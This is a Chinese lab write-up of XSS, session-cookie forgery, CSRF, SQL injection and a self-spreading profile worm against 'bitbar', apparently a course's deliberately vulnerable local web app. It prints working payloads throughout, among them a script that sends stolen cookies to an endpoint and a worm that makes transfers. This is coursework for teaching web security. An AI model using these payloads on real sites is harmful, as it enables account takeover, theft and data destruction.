针对bitbar网站的XSS攻击实验

实验原理

XSS 注入漏洞

XSS 注入漏洞又称为" 跨站脚本攻击 (Cross Site Scripting)",为了不和层叠样式表 (Cascading Style Sheets,CSS) 混淆,所以将跨站脚本攻击缩写为 XSS。XSS 注入攻击的原理其实和 SQL 注 入攻击的原理很相似,攻击者将恶意的 Script 代码插入到网页中,当正常用户浏览该页面时,被 嵌入的恶意 Script 代码就会被执行,从而达到恶意攻击正常用户的目的。

同源策略

同源策略在 web 应用的安全模型中是一个重要概念。在这个策略下,web 浏览器允许第一个页面 的脚本访问第二个页面里的数据,但是也只有在两个页面有相同的源时。源是由 URI,主机名,端 口号组合而成的。这个策略可以阻止一个页面上的恶意脚本通过页面的 DOM 对象获得访问另一 个页面上敏感信息的权限。

CSRF 漏洞

CSRF (Cross-Site Request Forgery CSRF) 是指跨站点请求伪造漏洞,目前广泛使用的 CSRF 漏 洞防御技术是 token 识别技术。token 是网站给每一次 HTTP 连接分配的随机数,用来标识不同 的用户身份。对于网站开发人员,最方便实用的方法是将 token 存储在页面隐藏的表单中,最终跟 随信息共同提交到服务器端。服务器检查该参数,判断用户身份的真实性。因此成功实施 CSRF 攻击的关键因素是正确获取 token 值,攻击者需要将载入目标网页 iframe 中 token 自动添加到 src 属性后面。使用 HTTP “GET”方法的表单会自动完成上述步骤,实现攻击 WEB 应用程序。 Twitter 蠕虫攻击就是利用点击劫持漏洞来实现 CSRF 攻击。

点击劫持

点击劫持是一种视觉欺骗手段,在 web 端就是 iframe 嵌套一个透明不可见的页面,让用户在不知 情的情况下,点击攻击者想要欺骗用户点击的位置。点击劫持的表象一般是用户点击了页面的 A 元素,但是实际上接收点击事件的却是另外一个元素。大概有两种方式,一是攻击者使用一个透 明的 iframe,覆盖在一个网页上,然后诱使用户在该页面上进行操作,此时用户将在不知情的情 况下点击透明的 iframe 页面;二是攻击者使用一张图片覆盖在网页,遮挡网页原有位置的含义。

Attack 1

漏洞分析

这是一个非常经典的反射型XSS漏洞,我们在输入栏中输入user1,即在网址username=后面补充对应的用户名,可以发现存在user的情况下会给出user的profile,但若输入其他字符,则会显示一行信息表示user没有找到,如

我们在浏览器中查看此时的网页源码,可以发现我们输入的数据被直接放入了User … not found的中间,且在p标签内

如此,若服务端未对输入数据进行过滤而只是简单拼接则可输入一个恶意脚本,继而窃取数据。

攻击原理

有了对漏洞的基本认识,我们首先进行尝试,以确定服务端是否存在过滤,输入 <script>alert('XSS')</script>

可见插入的恶意代码的确被浏览器解析了,查看此时的网页源码

可见插入的恶意代码没有任何处理直接渲染到了html中,导致浏览器将我们的输入当做脚本执行。确定攻击方式可行后,构造恶意脚本将用户的cookie发送至目标地址。

1
2
3
4
5
6
<script>
    const http = new XMLHttpRequest();
    var url = 'http://127.0.0.1:3000/steal_cookie?cookie=' + document.cookie;
    http.open("GET", url);
    http.send();
</script>

查看最近被偷取的cookie可见

Attack 2

漏洞分析

该网站在用户登录成功时会给用户返回一个表示会话的cookie,用户在访问其他页面时在请求头中放入这个cookie即可表示用户身份,如当用attacker登录后,访问其他页面时,请求头中cookie为

这样只需要在访问页面发送请求时将cookie修改为user1的cookie即可伪装成user1。 cookie的生成过程可以在网络中查到,整体流程为

  1. Cookie Serializer

为了方便其它语言中解析,推荐使用 4.1 或更新的版本并使用 JSON 做为 Cookie 的 serial-izer。配置在 config/initializers/cookies_serializer.rb 中:

1
Rails.application.config.action_dispatch.cookies_serializer = :json
  1. Padding

下一步的加密要求数据的字节数必须是 16 的倍数,用的算法是 PKCS7。简单说就是如果差 n 个字节到下个 16 的倍数就补 n 个 n。如果刚好是 16 的倍数就补 16 个 16。

  1. 加密 AES-CBC

这一步是最主要的加密了,算法是 AES-CBC。加密需要配置密钥并随机生成 IV (initializa- tion vector)。因为 Ruby 的 OpenSSL::Cipher 封装会自动 padding,所以可以跳过第 2 步。

  1. 拼装加密内容和 IV

得到 encrypted_content 和 iv 后,分别 base64 后用 – 连接,然后再做一次 base64 得到 encrypted_data。

  1. 签名 HMAC-SHA1

最后把 encrypted_data 和 sign 用 – 连接然后做一次 URL Query Escape 就可以了。因此解密的过程就是将上述步骤倒过来,分为以下几个步骤:

  1. 分离签名:URL Query Unescape 然后以 – 分成 encryptedData 和 sign。
  2. 验证签名:验证签名其实就是再签一次然后对比结果。为了安全,可以使用 hmac.Equal 来 比较签名是否一致。
  3. 分离加密内容和 IV:Base64 解码一次,用 – 分离并分别 Base64 解码得到 encryptedContent 和 iv。
  4. 解密:用 Key 和 iv 来解密
  5. Un-padding:去除 padding 只需要看最后一个字节是多少就移除多少个字节。
  6. Cookie Deserializer:如果是 JSON 用 go JSON 库解析就可以了。如果是 Ruby Marshal 也 不用完整实现,可以用正则提取需要的信息。

攻击原理

首先我们登录用户 attacker,查看 Bitbar 的 cookie 结构。根据实验原理部分的说明可知,"–" 之后的部分是签名,我们将前面单独分离出来进行解密。通 过查阅资料得知 bitbar 没有使用 aes 加密,因此我们只需要进行 Base64 解码 Unpadding 来对 cookie 进行解密。接下来我们尝试获得用户 attacker 的 cookie 值,脚本编写如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
#!/usr/bin/env ruby
require mechanize
require net/http
SESSION = _bitbar_session

agent = Mechanize.new #实例化Mechanize对象
url = "http://localhost:3000/login"
page = agent.get(url) #登录网站
form = page.forms.first
form[username] = form[password] = attacker #使用attacker的>信息填写表单
agent.submit form # 提交表单
cookie = agent.cookie_jar.jar[localhost][/][SESSION].to_s.sub("#{SESSION}=", ’’) #返回cookie
cookie_value, cookie_signature = cookie.split(--) #分离签名
raw_session = Base64.decode64(cookie_value) #BASE64解码
session = Marshal.load(raw_session) #反序列化
puts session #打印cookie

根据程序运行返回结果可知,logged_in_id 为用户的序号,据此我们推测 user1 的序号为 1。因此我们将logged_in_id 修改为 1 后生成一个 session,再进行序列化和加密过程,生成 user1 的 cookie 的前半部分:

1
2
session[logged_in_id] = 1
cookie_value = Base64.encode64(Marshal.dump(session)).split.join #伪造前半部分

cookie 的后半部分是使用 HMAC-SHA1 的签名,我们还需要伪造签名,可以在本地源代码得到 签名秘钥,在 /bitbar/config/initializers/secret_token.rb 中

接下来生成签名

1
2
SECRET = 0a5bfbbb62856b9781baa6160ecfd00b359d3ee3752384c2f47ceb45eada62f24ee1cbb6e7b0ae3095f70b0a302a2d2ba9aadf7bc686a49c8bac27464f9acb08
cookie_signature = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::SHA1.new,SECRET, cookie_value)

最后根据前面分析的 cookie 的结构,通过"–" 将签名和 cookie 连接

1
2
cookie_full = "#{SESSION}=#{cookie_value}--#{cookie_signature}" #签名并合并
puts "document.cookie=’#{cookie_full}’;" #打印完整的cookie

运行完整的程序,得到 user1 的 cookie 如下

接下来,在浏览器的 web 控制台使用前面脚本程序生成的 cookie 进行登录在使用attacker身份登录系统后,利用js修改浏览器中缓存的cookie,更改为user1的cookie即可伪装成user1。使用attacker登录系统

设置cookie伪装成user1

此时点击Home,访问Home页面,可见用户已变为user1

Attack 3

漏洞分析

在用户已经登录网站的情况下,浏览器中保存有用户在该网站上的cookie,此时通过浏览器访问该网站的其他页面会默认为用户在与网站服务器交互。当然此处为了能在跨域情况下携带用户的cookie,需要设置withCredentials为true,这样就可以跨域发送转账请求。

攻击原理

制作的html只需要使用js完成分析过程中需要的操作,最终将网址重定向到百度即可,表单数据可以通过使用attacker进行一次转账并抓包获得,如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html>
<html lang="en">
<head>
    <title>aa</title>
    <script>
      const http = new XMLHttpRequest();
      var url = 'http://127.0.0.1:3000/post_transfer';
      http.open("POST",url,false);
      http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
      http.withCredentials = true;
      http.send("destination_username=attacker&quantity=10");
      window.location.replace("
https://www.baidu.com");
    </script>
</head>
<body>
</body>
</html>

构造过程中要注意将GET请求url中的html标签转义,否则不能正常渲染。验证过程,首先查看当前各个用户的bitbar

在登录user1账户的情况下,打开b.html页面,再查看各个用户的bitbar。

此处还有一个非常有趣的漏洞,即如果将转账金额设置为-10,则会给自己的账户加10bitbar而给对方账户减10bitbar。效果如下

Attack 4

漏洞分析

这个实验中要求用来进行转账请求的页面为super_secure_transfer和super_secure_post_transfer,使用attacker账户查看这两个界面,可以发现多了一个super secret token,在转账时还要输入super secret token,只使用cookie是无法转账的,则我们可以让用户自己输入super secret token,我们获取到用户的输入后即可使用和Attack 3中类似的方法成功完成转账。

攻击原理

构造一个表单,提示用户输入super secret token,用户点击提交按钮后我们读取用户的输入,并利用和Attack 3中攻击方法类似的构造方法,只需要在提交POST请求时将token数据放入即可,我们使用attacker账户尝试转账并抓包可得需要构造的POST请求数据为

构造数据的部分为

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<script>
    var url = 'http://127.0.0.1:3000/super_secure_post_transfer';
    var send_data = "destination_username=attacker&quantity=10&tokeninput=" + tokens.token.value;
    <!-- 使用POST请求提交数据 -->
</script>
<form name="tokens" id="tokens">
        <label for="token">super secret token</label> <input type=
        "text" name="token" value="">
        <p><button onclick="transfer()" type=
        "button">提交</button></p>
</form>

其余部分见answer中的bp.html 打开后展示的页面如下

此时账户的金额为

user1输入token后点击提交,再次查看账户金额

Attack 5

漏洞分析

在实验一中,可以发现,我们输入的用户名会被原封不动的处理输出到页面上,故由此可以猜测服务端在处理数据的过程中使用sql语句查询用户名相关信息时并没有对用户名字符串作任何过滤。由此我们可以尝试创建一些恶意用户名来确认是否存在注入点。如我们创建一个用户用户名为 test'--

然后尝试删除这个用户,但会产生错误,错误页面如下

由这个错误页面可以得知在删除用户时,sql查询语句直接使用输入的用户名,没有做任何变换和过滤。

攻击原理

既然已经知道在删除用户时存在sql注入问题,我们可以构造用户名注册新的用户,该用户名中包含可以删除 user3 的语句,这样在删除该用户名的同时也可以删 除掉 user3。根据删除过程中要执行的sql查询语句, SELECT "users".* FROM "users" WHERE (username = '我们注册的用户名') 。则可以构造出能删除user3和当前用户的sql语句为 SELECT "users".* FROM "users" WHERE (username = 'user3' or username like '%aaaaaaaaaaa%') 。此处后面只要保证补充了username like语句即可,因为后面的部分一定能匹配自身。与正常的sql查询语句比对,可以得到我们应该注册的用户名为 user3' or username like '%aaaaaaaaaaa% 我们注册这个新用户,并查看系统中当前的用户列表,如下

接着我们关闭这个新用户的账户,即删除新用户,再次查看用户列表,得到

可见user3和当前用户都已经被删除

Attack 6

漏洞分析

登录至attacker用户,点击Profile,查看user1的profile,查看页面源码。可以在获取bitbar部分发现如下代码

可见bitbar_count中的class属性的值会被当成代码执行。因此我们可以想办法将转账和修改profile的js代码嵌入一个标签内并将标签内容传入class属性。这样当其他人查看该用户的profile时会自动进行转账及修改profile的操作。

攻击原理

修改attacker的profile,抓包,可以得到修改profile时的post地址和参数

有了地址和参数,就可以套用前面攻击时使用的js代码模板。在漏洞分析时我们得知id为bitbar_count的span标签内class的内容会被当做代码执行,因此我们构造一个span标签id为bitbar_count,并使用DOM树的接口document读取一个标签块中的js代码,传递给class,这些代码就会被执行。构造的代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<span id="worm">
<span id="bitbar_count"
class="eval(document['getElementById']('myattack')['innerHTML'])"> </span>
//获取myattack span中的内容给eval参数
<span id="myattack"> //eval执行下面的函数
  document.getElementById(’myattack’).style.display = "none";
  //display设置不在profile显示
  var a = new XMLHttpRequest();
  a.open("POST","http://127.0.0.1:3000/post_transfer",false);
  //转账
  a.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  //编码
  a.send("destination_username=attacker"+String.fromCharCode(38)+"quantity=1");
  //send内容,转账
  var b = new XMLHttpRequest();
  b.open("POST","http://127.0.0.1:3000/set_profile",true);
  //生成实例(修改profile)
  b.setRequestHeader("Content-type","application/x-www-form-urlencoded");
  b.send("new_profile=".concat(encodeURIComponent(document.getElementById ('worm').outerHTML)));
  //修改浏览者profile,即把整个id=worm span标签块中的内容包含标签当做post数据发给set_profile
  10;
  //显示一个虚假的profile
</span>
</span>

将代码复制进profile内,更新profile,查看此时的用户bitbar的数量。

切换到user1,查看attacker的profile。

查看用户bitbar的数量

登录到user2,查看user1的profile,再查看bitbar的数量

可见已经成功感染且user2成功给attacker转账